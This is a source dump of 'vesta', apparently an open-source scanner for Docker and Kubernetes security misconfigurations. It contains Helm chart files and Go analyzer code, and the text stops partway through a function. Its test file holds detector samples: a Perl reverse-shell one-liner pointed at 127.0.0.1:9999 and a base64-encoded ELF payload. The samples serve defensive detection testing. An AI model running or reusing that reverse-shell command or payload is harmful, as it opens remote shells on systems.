modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
modernc.org/sqlite v1.17.3 h1:iE+coC5g17LtByDYDWKpR6m2Z9022YrSh3bumwOnIrI=
modernc.org/sqlite v1.17.3/go.mod h1:10hPVYar9C0kfXuTWGz8s0XtB8uAGymUy51ZzStYe3k=
modernc.org/strutil v1.1.1 h1:xv+J1BXY3Opl2ALrBwyfEikFAj8pmqcpnfmuwUwcozs=
modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw=
modernc.org/tcl v1.13.1 h1:npxzTwFTZYM8ghWicVIX1cRWzj7Nd8i6AqqX2p+IYao=
modernc.org/tcl v1.13.1/go.mod h1:XOLfOwzhkljL4itZkK6T72ckMgvj0BDsnKNdZVUOecw=
modernc.org/token v1.0.0 h1:a0jaWiNMDhDUtqOj09wvjWWAqd3q7WpBulmL9H2egsk=
modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
modernc.org/z v1.5.1 h1:RTNHdsrOpeoSeOF4FbzTo8gBYByaJ5xT7NgZ9ZqRiJM=
modernc.org/z v1.5.1/go.mod h1:eWFB510QWW5Th9YGZT81s+LwvaAs3Q2yr4sP0rmLkv8=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=
rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=
sigs.k8s.io/structured-merge-diff/v4 v4.0.2/go.mod h1:bJZC9H9iH24zzfZ/41RGcq60oK1F7G282QMXDPYydCw=
sigs.k8s.io/structured-merge-diff/v4 v4.1.2 h1:Hr/htKFmJEbtMgS/UD0N+gtgctAqz81t3nu+sPzynno=
sigs.k8s.io/structured-merge-diff/v4 v4.1.2/go.mod h1:j/nl6xW8vLS49O8YvXW1ocPhZawJtm+Yrr7PPRQ0Vg4=
sigs.k8s.io/yaml v1.2.0 h1:kr/MCeFWJWTwyaHoR9c8EjH9OumOmoF9YGiZd7lFm/Q=
sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc=
================================================
FILE: helm/vesta/.helmignore
================================================
# Patterns to ignore when building packages.
# This supports shell glob matching, relative path matching, and
# negation (prefixed with !). Only one pattern per line.
.DS_Store
# Common VCS dirs
.git/
.gitignore
.bzr/
.bzrignore
.hg/
.hgignore
.svn/
# Common backup files
*.swp
*.bak
*.tmp
*.orig
*~
# Various IDEs
.project
.idea/
*.tmproj
.vscode/
================================================
FILE: helm/vesta/Chart.yaml
================================================
apiVersion: v2
name: vesta
description: Vesta helm chart
type: application
version: 0.1.0
appVersion: "1.0.11"
keywords:
- scanner
- vesta
- vulnerability
- k8s
sources:
- https://github.com/kvesta/vesta
================================================
FILE: helm/vesta/README.md
================================================
# Vesta Scanner
Vesta toolkit standalone installation.
## TL;DR;
```
$ helm install vesta . --namespace vesta --create-namespace
```
## Introduction
This chart bootstraps a Trivy deployment on a [Kubernetes](http://kubernetes.io) cluster using the
[Helm](https://helm.sh) package manager.
## Prerequisites
- Kubernetes 1.12+
- Helm 3+
================================================
FILE: helm/vesta/templates/_helpers.tpl
================================================
{{/*
Expand the name of the chart.
*/}}
{{- define "vesta.name" -}}
{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }}
{{- end }}
{{/*
Create a default fully qualified app name.
We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec).
If release name contains chart name it will be used as a full name.
*/}}
{{- define "vesta.fullname" -}}
{{- if .Values.fullnameOverride }}
{{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" }}
{{- else }}
{{- $name := default .Chart.Name .Values.nameOverride }}
{{- if contains $name .Release.Name }}
{{- .Release.Name | trunc 63 | trimSuffix "-" }}
{{- else }}
{{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" }}
{{- end }}
{{- end }}
{{- end }}
{{/*
Create chart name and version as used by the chart label.
*/}}
{{- define "vesta.chart" -}}
{{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }}
{{- end }}
{{/*
Common labels
*/}}
{{- define "vesta.labels" -}}
helm.sh/chart: {{ include "vesta.chart" . }}
{{ include "vesta.selectorLabels" . }}
{{- if .Chart.AppVersion }}
app.kubernetes.io/version: {{ .Chart.AppVersion | quote }}
{{- end }}
app.kubernetes.io/managed-by: {{ .Release.Service }}
{{- end }}
{{/*
Selector labels
*/}}
{{- define "vesta.selectorLabels" -}}
app.kubernetes.io/name: {{ include "vesta.name" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
{{- end }}
{{/*
Create the name of the service account to use
*/}}
{{- define "vesta.serviceAccountName" -}}
{{- if .Values.serviceAccount.create }}
{{- default (include "vesta.fullname" .) .Values.serviceAccount.name }}
{{- else }}
{{- default "default" .Values.serviceAccount.name }}
{{- end }}
{{- end }}
================================================
FILE: helm/vesta/templates/clusterrole.yaml
================================================
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: {{ .Release.Name }}-clusterrole
namespace: {{ .Release.Namespace }}
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["get", "watch", "list"]
================================================
FILE: helm/vesta/templates/clusterrolebinding.yaml
================================================
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: {{ include "vesta.fullname" . }}-clusterrolebinding
subjects:
- kind: ServiceAccount
name: {{ include "vesta.fullname" . }}
namespace: {{ .Release.Namespace }}
roleRef:
kind: ClusterRole
name: {{ .Release.Name }}-clusterrole
apiGroup: rbac.authorization.k8s.io
================================================
FILE: helm/vesta/templates/job.yaml
================================================
{{- range $job := .Values.jobs }}
---
apiVersion: batch/v1
kind: Job
metadata:
name: "{{ $job.name }}"
spec:
template:
spec:
serviceAccountName: {{ include "vesta.fullname" $ }}
containers:
- name: {{ $job.name }}
image: "{{ $job.image.repository }}:{{ $job.image.tag }}"
imagePullPolicy: {{ $job.image.pullPolicy }}
args:
{{- range $value := $job.args }}
- {{ $value}}
{{- end }}
restartPolicy: {{ $job.image.restartPolicy }}
{{- end }}
================================================
FILE: helm/vesta/templates/serviceaccount.yaml
================================================
apiVersion: v1
kind: ServiceAccount
metadata:
name: {{ include "vesta.fullname" . }}
namespace: {{ .Release.Namespace }}
================================================
FILE: helm/vesta/values.yaml
================================================
nameOverride: ""
fullnameOverride: ""
jobs:
- name: vesta
image:
registry: docker.io
repository: kvesta/vesta
tag: latest
pullPolicy: IfNotPresent
restartPolicy: OnFailure
args:
- "analyze"
- "k8s"
================================================
FILE: internal/analyzer/analyze.go
================================================
package analyzer
import (
"context"
"fmt"
"log"
"strings"
"time"
"github.com/docker/docker/api/types"
"github.com/kvesta/vesta/config"
"github.com/kvesta/vesta/pkg/osrelease"
"github.com/kvesta/vesta/pkg/vulnlib"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
)
func (s *Scanner) Analyze(ctx context.Context) error {
dockerInps, err := s.DApi.GetAllContainers()
if err != nil {
if strings.Contains(err.Error(), "Is the docker daemon running") {
log.Printf("Cannot connect to docker service")
return err
}
log.Printf("Cannot get all docker inpector, error: %v", err)
return err
}
dockerImages, err := s.DApi.GetAllImage()
if err != nil {
log.Printf("Cannot get all docker images, error: %v", err)
}
err = s.checkDockerContext(ctx, dockerImages)
if err != nil {
log.Printf("failed to check docker context, error: %v", err)
}
log.Printf(config.Yellow("Begin container analyzing"))
for _, in := range dockerInps {
err := s.checkDockerList(in)
if err != nil {
log.Printf("Container %s check error, %v", in.ID[:12], err)
}
}
return nil
}
func (ks *KScanner) Kanalyze(ctx context.Context) error {
err := ks.checkKubernetesList(ctx)
if err != nil {
return err
}
return nil
}
func (s *Scanner) checkDockerList(config *types.ContainerJSON) error {
var isVulnerable = false
ths := []*threat{}
// Checking privileged
if ok, tlist := checkPrivileged(config); ok {
ths = append(ths, tlist...)
isVulnerable = true
}
// Checking mount volumes
if ok, tlist := checkMount(config); ok {
ths = append(ths, tlist...)
isVulnerable = true
}
// Checking the strength of password
if ok, tlist := checkEnvPassword(config); ok {
ths = append(ths, tlist...)
isVulnerable = true
}
// Checking network model
if ok, tlist := checkNetworkModel(config, s.EngineVersion); ok {
ths = append(ths, tlist...)
isVulnerable = true
}
if ok, tlist := checkPid(config); ok {
ths = append(ths, tlist...)
isVulnerable = true
}
// Checking whether used the dangerous image
if ok, tlist := checkImageUsed(config, s.VulnContainers); ok {
ths = append(ths, tlist...)
isVulnerable = true
}
if isVulnerable {
sortSeverity(ths)
con := &container{
ContainerID: config.ID[:12],
ContainerName: config.Name[1:],
Threats: ths,
}
if s.DApi.FindDockerService(con.ContainerName) {
con.ContainerID += " | running in Docker Swarm"
}
s.VulnContainers = append(s.VulnContainers, con)
}
return nil
}
func (ks *KScanner) checkKubernetesList(ctx context.Context) error {
version, err := ks.KClient.ServerVersion()
if err != nil {
if strings.Contains(err.Error(), "connection refused") {
log.Printf("kubelet is not start")
} else {
log.Printf("failed to start Kubernetes, error: %v", err)
}
return err
}
ks.Version = version.String()
// If k8s version less than v1.24, using the docker checking
if compareVersion(ks.Version, "1.24", "0.0") && !ctx.Value("inside").(bool) {
err = ks.dockershimCheck(ctx)
if err != nil {
log.Printf("failed to use docker to check, error: %v", err)
}
} else {
err = ks.kernelCheck(ctx)
if err != nil {
log.Printf("failed to check kernel version, error: %v", err)
}
}
nsList, err := ks.KClient.
CoreV1().
Namespaces().List(context.TODO(), metav1.ListOptions{})
if err != nil {
log.Printf("get namespace failed: %v", err)
}
err = ks.getNodeInfor(ctx)
if err != nil {
log.Printf("failed to get node information: %v", err)
}
// Check RBAC rules
err = ks.checkClusterBinding()
if err != nil {
log.Printf("check RBAC failed, %v", err)
}
log.Printf(config.Yellow("Begin Pods analyzing"))
log.Printf(config.Yellow("Begin ConfigMap and Secret analyzing"))
log.Printf(config.Yellow("Begin RoleBinding analyzing"))
log.Printf(config.Yellow("Begin Job and CronJob analyzing"))
log.Printf(config.Yellow("Begin DaemonSet analyzing"))
if ctx.Value("nameSpace") == "all" || ctx.Value("nameSpace") != "standard" {
namespaceWhileList = []string{}
}
// Check configuration in namespace
if ctx.Value("nameSpace") != "standard" && ctx.Value("nameSpace") != "all" {
ns := ctx.Value("nameSpace")
err = ks.checkRoleBinding(ns.(string))
if err != nil {
log.Printf("check role binding failed in namespace: %s, %v", ns.(string), err)
}
err = ks.checkConfigMap(ns.(string))
if err != nil {
log.Printf("check config map failed in namespace: %s, %v", ns.(string), err)
}
err = ks.checkSecret(ns.(string))
if err != nil {
log.Printf("check secret failed in namespace: %s, %v", ns.(string), err)
}
err := ks.checkPod(ns.(string))
if err != nil {
log.Printf("check pod failed in namespace: %s, %v", ns.(string), err)
}
err = ks.checkDaemonSet(ns.(string))
if err != nil {
log.Printf("check daemonset failed in namespace: %s, %v", ns.(string), err)
}
err = ks.checkJobsOrCornJob(ns.(string))
if err != nil {
log.Printf("check job failed in namespace: %s, %v", ns.(string), err)
}
} else {
for _, ns := range nsList.Items {
isNecessary := true
// Check whether in the white list of namespaces
for _, nswList := range namespaceWhileList {
if ns.Name == nswList {
isNecessary = false
}
}
err = ks.checkConfigMap(ns.Name)
if err != nil {
log.Printf("check config map failed in namespace: %s, %v", ns.Name, err)
}
err = ks.checkSecret(ns.Name)
if err != nil {
log.Printf("check secret failed in namespace %s, %v", ns.Name, err)
}
if isNecessary {
err = ks.checkRoleBinding(ns.Name)
if err != nil {
log.Printf("check role binding failed in namespace: %s, %v", ns.Name, err)
}
err := ks.checkPod(ns.Name)
if err != nil {
log.Printf("check pod failed in namespace: %s, %v", ns.Name, err)
}
}
err = ks.checkDaemonSet(ns.Name)
if err != nil {
log.Printf("check daemonset failed in namespace: %s, %v", ns.Name, err)
}
err = ks.checkJobsOrCornJob(ns.Name)
if err != nil {
log.Printf("check job failed in namespace: %s, %v", ns.Name, err)
}
}
}
// Check PV and PVC
err = ks.checkPersistentVolume()
if err != nil {
log.Printf("check pv and pvc failed, %v", err)
}
// Check PodSecurityPolicy
err = ks.checkPodSecurityPolicy()
if err != nil {
log.Printf("check podSecurityPolicy failed, %v", err)
}
// Check certification expiration
err = ks.checkCerts()
if err != nil {
log.Printf("check certification expiration failed, %v", err)
}
// Check Kubernetes CNI
err = ks.checkCNI()
if err != nil {
log.Printf("check CNI failed, %v", err)
}
sortSeverity(ks.VulnConfigures)
return nil
}
// checkDockerVersion check docker server version
func checkDockerVersion(cli vulnlib.Client, serverVersion string) (bool, []*threat) {
log.Printf(config.Yellow("Begin docker version analyzing"))
var vuln = false
tlist := []*threat{}
rows, err := cli.QueryVulnByName("docker")
if err != nil {
return vuln, tlist
}
for _, row := range rows {
if compareVersion(serverVersion, row.MaxVersion, row.MinVersion) {
th := &threat{
Param: "Docker server",
Value: serverVersion,
Type: "K8s version less than v1.24",
Describe: fmt.Sprintf("Docker server version is threated under the %s", row.CVEID),
Reference: row.Description,
Severity: strings.ToLower(row.Level),
}
tlist = append(tlist, th)
vuln = true
}
}
return vuln, tlist
}
// checkKernelVersion check kernel version for whether the kernel version
// is under the vulnerable version which has a potential container escape
// such as Dirty Cow,Dirty Pipe
func checkKernelVersion(cli vulnlib.Client, kernelVersion osrelease.KernelVersion) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
var vulnKernelVersion = map[string]string{
"CVE-2016-5195": "Dirty Cow",
"CVE-2020-14386": "CVE-2020-14386 with CAP_NET_RAW",
"CVE-2021-22555": "CVE-2021-22555 kernel-netfilter",
"CVE-2022-0847": "Dirty Pipe",
"CVE-2022-0185": "CVE-2022-0185 with CAP_SYS_ADMIN",
"CVE-2022-0492": "CVE-2022-0492 with CAP_SYS_ADMIN and v1 architecture of cgroups"}
log.Printf(config.Yellow("Begin kernel version analyzing"))
for cve, nickname := range vulnKernelVersion {
var maxVersion, publishDate string
underVuln := false
rows, err := cli.QueryVulnByCVEID(cve)
if err != nil {
log.Printf("faield to search database, error: %v", err)
break
}
for _, row := range rows {
// The data of CVE-2016-5195 is not correct
if cve == "CVE-2016-5195" {
row.MaxVersion = "4.8.3"
}
if compareVersion(kernelVersion.Version, row.MaxVersion, row.MinVersion) && row.VulnName == "linux_kernel" {
vuln, underVuln = true, true
maxVersion = row.MaxVersion
publishDate = row.PublishDate
break
}
}
if underVuln {
th := &threat{
Param: "kernel version",
Value: kernelVersion.Version,
Type: "K8s version less than v1.24",
Describe: fmt.Sprintf("Kernel version is suffering the %s vulnerablility below the version `%s`, ",
nickname, strings.TrimPrefix(maxVersion, "=")),
Reference: "Update kernel version or docker-desktop.",
Severity: "critical",
}
pb, _ := time.Parse("2006-01-02", publishDate)
if kernelVersion.BuiltDate.After(pb) {
th.Describe += fmt.Sprintf("but it was compiled on %s, "+
"which is later than the date of vulnerability on %s.",
kernelVersion.BuiltDate.Format("2006-01-02"), publishDate)
th.Severity = "low"
} else {
th.Describe += "which has a potential container escape."
}
tlist = append(tlist, th)
}
}
return vuln, tlist
}
================================================
FILE: internal/analyzer/analyze_test.go
================================================
package analyzer
import (
"reflect"
"testing"
)
func TestSortSeverity(t *testing.T) {
type args struct {
threats []*threat
}
tests := []struct {
name string
args args
}{
{
name: "sort_test_1",
args: args{threats: []*threat{{Severity: "high"}, {Severity: "low"}, {Severity: "critical"}}},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
sortSeverity(tt.args.threats)
})
}
}
func TestWeakPassword(t *testing.T) {
type args struct {
p string
}
tests := []struct {
name string
args args
want string
wantErr bool
}{
{
name: "weakPassword",
args: args{p: "root"},
want: "Weak",
},
{
name: "weakPassword",
args: args{p: "Password123"},
want: "Weak",
},
{
name: "strongPassword",
args: args{p: "dDjwC3m^BFXz6B#a"},
want: "Strong",
},
{
name: "strongConfusionPassword",
args: args{p: "ior7LLvMsAujin3Y"},
want: "Strong",
},
{
name: "mediumPassword",
args: args{p: "plDAYh"},
want: "Medium",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := checkWeakPassword(tt.args.p)
if !reflect.DeepEqual(got, tt.want) {
t.Errorf("checkWeakPassword() got = %v, want %v", got, tt.want)
}
})
}
}
func TestMalware(t *testing.T) {
type args struct {
command string
}
tests := []struct {
name string
args args
want MalReporter
wantErr bool
}{
{
name: "ELF base64",
args: args{command: "XHg3Rlx4NDVceDRDXHg0Nlx4MDFceDAxXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDJceDAwXHgwM1x4MDBceDAxXHgwMFx4MDBceDAwXHg1NFx4ODBceDA0XHgwOFx4MzRceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MzRceDAwXHgyMFx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4ODBceDA0XHgwOFx4MDBceDgwXHgwNFx4MDhceENGXHgwMFx4MDBceDAwXHg0QVx4MDFceDAwXHgwMFx4MDdceDAwXHgwMFx4MDBceDAwXHgxMFx4MDBceDAwXHg2QVx4MEFceDVFXHgzMVx4REJceEY3XHhFM1x4NTNceDQzXHg1M1x4NkFceDAyXHhCMFx4NjZceDg5XHhFMVx4Q0RceDgwXHg5N1x4NUJceDY4XHhDMFx4QThceDEzXHhGM1x4NjhceDAyXHgwMFx4MTFceDVDXHg4OVx4RTFceDZBXHg2Nlx4NThceDUwXHg1MVx4NTdceDg5XHhFMVx4NDNceENEXHg4MFx4ODVceEMwXHg3OVx4MTlceDRFXHg3NFx4M0RceDY4XHhBMlx4MDBceDAwXHgwMFx4NThceDZBXHgwMFx4NkFceDA1XHg4OVx4RTNceDMxXHhDOVx4Q0RceDgwXHg4NVx4QzBceDc5XHhCRFx4RUJceDI3XHhCMlx4MDdceEI5XHgwMFx4MTBceDAwXHgwMFx4ODlceEUzXHhDMVx4RUJceDBDXHhDMVx4RTNceDBDXHhCMFx4N0RceENEXHg4MFx4ODVceEMwXHg3OFx4MTBceDVCXHg4OVx4RTFceDk5XHhCMlx4NkFceEIwXHgwM1x4Q0RceDgwXHg4NVx4QzBceDc4XHgwMlx4RkZceEUxXHhCOFx4MDFceDAwXHgwMFx4MDBceEJCXH=="},
want: MalReporter{
Types: Executable,
Score: 0.9,
Plain: "ELF LSB executable binary",
},
},
{
name: "Reverse shell",
args: args{command: "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"127.0.0.1:9999\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"},
want: MalReporter{
Types: Confusion,
Score: 0.99,
Plain: "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socke",
},
},
{
name: "Normal environment",
args: args{command: "SPq$b6^vuY8Bo2dM"},
want: MalReporter{
Types: Unknown,
Score: 0.0,
Plain: "SPq$b6^vuY8Bo2dM",
},
},
{
name: "Normal $PATH environment",
args: args{command: "/usr/local/share/luajit-2.1.0-beta3/?.lua;/usr/local/share/lua/5.1/?.lua;/usr/local/lib/lua/?.lua;;"},
want: MalReporter{
Types: Unknown,
Score: 0.0,
Plain: "",
},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := maliciousContentCheck(tt.args.command)
if !reflect.DeepEqual(got, tt.want) {
t.Errorf("maliciousContentCheck() got = %v, want %v", got, tt.want)
}
})
}
}
================================================
FILE: internal/analyzer/docker.go
================================================
package analyzer
import (
"context"
"crypto/tls"
"fmt"
"io/ioutil"
"log"
"net/http"
"regexp"
"strings"
"github.com/docker/docker/api/types"
version2 "github.com/hashicorp/go-version"
_config "github.com/kvesta/vesta/config"
_image "github.com/kvesta/vesta/pkg/inspector"
"github.com/kvesta/vesta/pkg/osrelease"
"github.com/kvesta/vesta/pkg/vulnlib"
"github.com/tidwall/gjson"
)
func (s *Scanner) checkDockerContext(ctx context.Context, images []*_image.ImageInfo) error {
cli := vulnlib.Client{}
err := cli.Init()
if err != nil {
log.Printf("failed to init database, error: %v", err)
} else {
defer cli.DB.Close()
}
// Checking kernel version
kernelVersion, err := osrelease.GetKernelVersion(context.Background())
if err != nil {
log.Printf("failed to get kernel version: %v", err)
}
// Checking the docker swarm
err = s.checkSwarm()
if err != nil {
log.Printf("docker swarm error: %v", err)
}
if ok, tlist := checkKernelVersion(cli, kernelVersion); ok {
ct := &container{
ContainerID: "None",
ContainerName: "Kernel",
Threats: tlist,
}
s.VulnContainers = append(s.VulnContainers, ct)
}
// Check Docker server version
if ok, tlist := checkDockerVersion(cli, s.ServerVersion); ok {
ct := &container{
ContainerID: "None",
ContainerName: "Server Version",
Threats: tlist,
}
s.VulnContainers = append(s.VulnContainers, ct)
}
// Check 2375 unauthorized
if ok, tlist := checkDockerUnauthorized(); ok {
ct := &container{
ContainerID: "None",
ContainerName: "Docker 2375 port",
Threats: tlist,
}
s.VulnContainers = append(s.VulnContainers, ct)
}
// Check the repo's tag
// We found that it is hard to exploit
/*
if ok, tlist := checkImages(images); ok {
ct := &container{
ContainerID: "None",
ContainerName: "Image Tag",
Threats: tlist,
}
s.VulnContainers = append(s.VulnContainers, ct)
}
*/
// Check image's history
if ok, tlist := CheckHistories(images); ok {
ct := &container{
ContainerID: "None",
ContainerName: "Image Configuration",
Threats: tlist,
}
s.VulnContainers = append(s.VulnContainers, ct)
}
return nil
}
func checkSwarmLabels(labels map[string]string, name, configType string) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
match := false
for k, v := range labels {
for _, p := range passKey {
if p.MatchString(k) {
match = true
break
}
}
if match {
switch checkWeakPassword(v) {
case "Weak":
th := &threat{
Param: configType + " Label",
Value: fmt.Sprintf("%s name: %s", configType, name),
Describe: fmt.Sprintf("Lables '%s' has weak password: '%s'.", k, v),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
case "Medium":
th := &threat{
Param: configType + " Label",
Value: fmt.Sprintf("%s name: %s", configType, name),
Describe: fmt.Sprintf("Lables '%s' password '%s' "+
"need to be reinforced.", k, v),
Severity: "low",
}
tlist = append(tlist, th)
vuln = true
}
}
}
return vuln, tlist
}
func (s *Scanner) checkSwarmSecrets() error {
var vuln = false
tlist := []*threat{}
ses, err := s.DApi.
DCli.
SecretList(context.Background(), types.SecretListOptions{})
if err != nil {
log.Printf("failed to check docker config")
return err
}
// TODO: check the content of the secret
for _, se := range ses {
vuln, tlist = checkSwarmLabels(se.Spec.Labels, se.Spec.Name, "Secret")
}
if vuln {
ct := &container{
ContainerID: "None",
ContainerName: "Docker Swarm Secret",
Threats: tlist,
}
s.VulnContainers = append(s.VulnContainers, ct)
}
return nil
}
func (s *Scanner) checkSwarmConfigs() error {
var vuln = false
tlist := []*threat{}
cons, err := s.DApi.
DCli.
ConfigList(context.Background(), types.ConfigListOptions{})
if err != nil {
return err
}
for _, con := range cons {
configData := string(con.Spec.Data)
detect := maliciousContentCheck(configData)
switch detect.Types {
case Executable:
th := &threat{
Param: "Config Data",
Value: fmt.Sprintf("Config name: %s", con.Spec.Name),
Describe: fmt.Sprintf("Malicious value found in config Data "+
"with the plain text '%s'.", detect.Plain),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
case Confusion:
th := &threat{
Param: "Config Data",
Value: fmt.Sprintf("Config name: %s", con.Spec.Name),
Describe: fmt.Sprintf("Confusion value found in config Data "+
"with the plain text '%s'.", detect.Plain),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
default:
// ignore
}
vulnLabel, tlistLabel := checkSwarmLabels(con.Spec.Labels, con.Spec.Name, "Config")
if vulnLabel {
vuln = true
tlist = append(tlist, tlistLabel...)
}
}
if vuln {
ct := &container{
ContainerID: "None",
ContainerName: "Docker Swarm Config",
Threats: tlist,
}
s.VulnContainers = append(s.VulnContainers, ct)
}
return nil
}
func (s *Scanner) checkDockerService() error {
var vuln = false
tlist := []*threat{}
sers, err := s.DApi.
DCli.
ServiceList(context.Background(), types.ServiceListOptions{})
if err != nil {
return err
}
for _, se := range sers {
// Checking the swarm config
for _, c := range se.Spec.TaskTemplate.ContainerSpec.Configs {
for _, v := range s.VulnContainers {
if strings.Contains(v.ContainerName, "Docker Swarm Config") {
for _, t := range v.Threats {
if strings.HasSuffix(t.Value, c.ConfigName) {
th := &threat{
Param: "Swarm Service",
Value: fmt.Sprintf("Service Name: %s", se.Spec.Name),
Describe: fmt.Sprintf("Docker Service is using the unsafe swarm config: '%s'.", c.ConfigName),
Severity: t.Severity,
}
tlist = append(tlist, th)
vuln = true
break
}
}
}
}
}
// Checking the swarm secret
for _, secret := range se.Spec.TaskTemplate.ContainerSpec.Secrets {
for _, v := range s.VulnContainers {
if strings.Contains(v.ContainerName, "Docker Swarm Secret") {
for _, t := range v.Threats {
if strings.HasSuffix(t.Value, secret.File.Name) {
th := &threat{
Param: "Swarm Service",
Value: fmt.Sprintf("Service Name: %s", se.Spec.Name),
Describe: fmt.Sprintf("Docker Service is using the unsafe swarm secret: '%s'.", secret.File.Name),
Severity: t.Severity,
}
tlist = append(tlist, th)
vuln = true
break
}
}
}
}
}
}
if vuln {
ct := &container{
ContainerID: "None",
ContainerName: "Docker Swarm Service",
Threats: tlist,
}
s.VulnContainers = append(s.VulnContainers, ct)
}
return nil
}
func (s *Scanner) checkSwarm() error {
_, err := s.DApi.
DCli.
ServiceList(context.Background(), types.ServiceListOptions{})
if err != nil {
if strings.Contains(err.Error(), "This node is not a swarm manager") {
return nil
}
return err
}
log.Printf(_config.Yellow("Begin docker swarm analyzing"))
err = s.checkSwarmConfigs()
err = s.checkSwarmSecrets()
err = s.checkDockerService()
if err != nil {
log.Printf("failed to check docker service")
}
return err
}
func checkPrivileged(config *types.ContainerJSON) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
capList, highestSeverity := "", "medium"
for _, capadd := range config.HostConfig.CapAdd {
for c, s := range dangerCaps {
if capadd == c {
capList += capadd + " "
if _config.SeverityMap[s] > _config.SeverityMap[highestSeverity] {
highestSeverity = s
}
vuln = true
}
}
if capadd == "CAP_DAC_READ_SEARCH" {
th := &threat{
Param: "CapAdd",
Value: "CAP_DAC_READ_SEARCH",
Describe: "There has a potential arbitrary file leakage.",
Severity: "medium",
}
tlist = append(tlist, th)
}
}
if vuln {
th := &threat{
Param: "CapAdd",
Value: capList,
Describe: "There has a potential container escape in privileged module.",
Severity: highestSeverity,
}
tlist = append(tlist, th)
}
if config.HostConfig.Privileged {
th := &threat{
Param: "Privileged",
Value: "true",
Describe: "There has a potential container escape in privileged module.",
Severity: "critical",
}
tlist = append(tlist, th)
vuln = true
}
return vuln, tlist
}
func checkMount(config *types.ContainerJSON) (bool, []*threat) {
var vuln = false
mounts := config.Mounts
tlist := []*threat{}
for _, mount := range mounts {
if isVuln := checkMountPath(mount.Source); isVuln {
th := &threat{
Param: "Mount",
Value: mount.Source,
Describe: fmt.Sprintf("Mount '%s' in '%s' is suffer vulnerable of "+
"container escape.", mount.Source, mount.Destination),
Severity: "critical",
}
tlist = append(tlist, th)
vuln = true
}
}
return vuln, tlist
}
func checkEnvPassword(config *types.ContainerJSON) (bool, []*threat) {
var vuln = false
var password string
tlist := []*threat{}
imageVersion := config.Config.Image
// Check weakness password
if strings.Contains(imageVersion, "mysql") ||
strings.Contains(imageVersion, "postgres") {
mysqlReg := regexp.MustCompile(`MYSQL_ROOT_PASSWORD=(.*)`)
postgReqs := regexp.MustCompile(`POSTGRES_PASSWORD=(.*)`)
env := config.Config.Env
for _, e := range env {
mysqlPass := mysqlReg.FindStringSubmatch(e)
postPass := postgReqs.FindStringSubmatch(e)
if len(mysqlPass) > 1 {
password = mysqlPass[1]
} else if len(postPass) > 1 {
password = postPass[1]
} else {
continue
}
switch checkWeakPassword(password) {
case "Weak":
th := &threat{
Param: "Weak Password",
Value: fmt.Sprintf("Password: '%s'", password),
Describe: fmt.Sprintf("%s has weak password: '%s'.", imageVersion, password),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
case "Medium":
th := &threat{
Param: "Password need to be reinforced",
Value: fmt.Sprintf("Password: '%s'", password),
Describe: fmt.Sprintf("%s password '%s' "+
"need to be reinforced.", imageVersion, password),
Severity: "low",
}
tlist = append(tlist, th)
vuln = true
}
}
} else if strings.Contains(imageVersion, "redis") {
args := config.Args
requirepass := false
for _, arg := range args {
if strings.Contains(arg, "--requirepass") {
requirepass = true
}
if requirepass {
password := arg
switch checkWeakPassword(password) {
case "Weak":
th := &threat{
Param: "Weak Password",
Value: fmt.Sprintf("Password: '%s'", password),
Describe: fmt.Sprintf("Redis has weak password: '%s'.", password),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
case "Medium":
th := &threat{
Param: "Password need to be reinforced",
Value: fmt.Sprintf("Password: '%s'", password),
Describe: fmt.Sprintf("Redis password '%s' "+
"need to be reinforced.", password),
Severity: "medium",
}
tlist = append(tlist, th)
vuln = true
}
}
}
}
return vuln, tlist
}
// checkNetworkModel check container network model
//reference: https://github.com/containerd/containerd/security/advisories/GHSA-36xw-fx78-c5r4
func checkNetworkModel(config *types.ContainerJSON, version string) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
if config.HostConfig.NetworkMode == "host" {
currentVersion, _ := version2.NewVersion(version)
maxVersion, _ := version2.NewVersion("1.3.7")
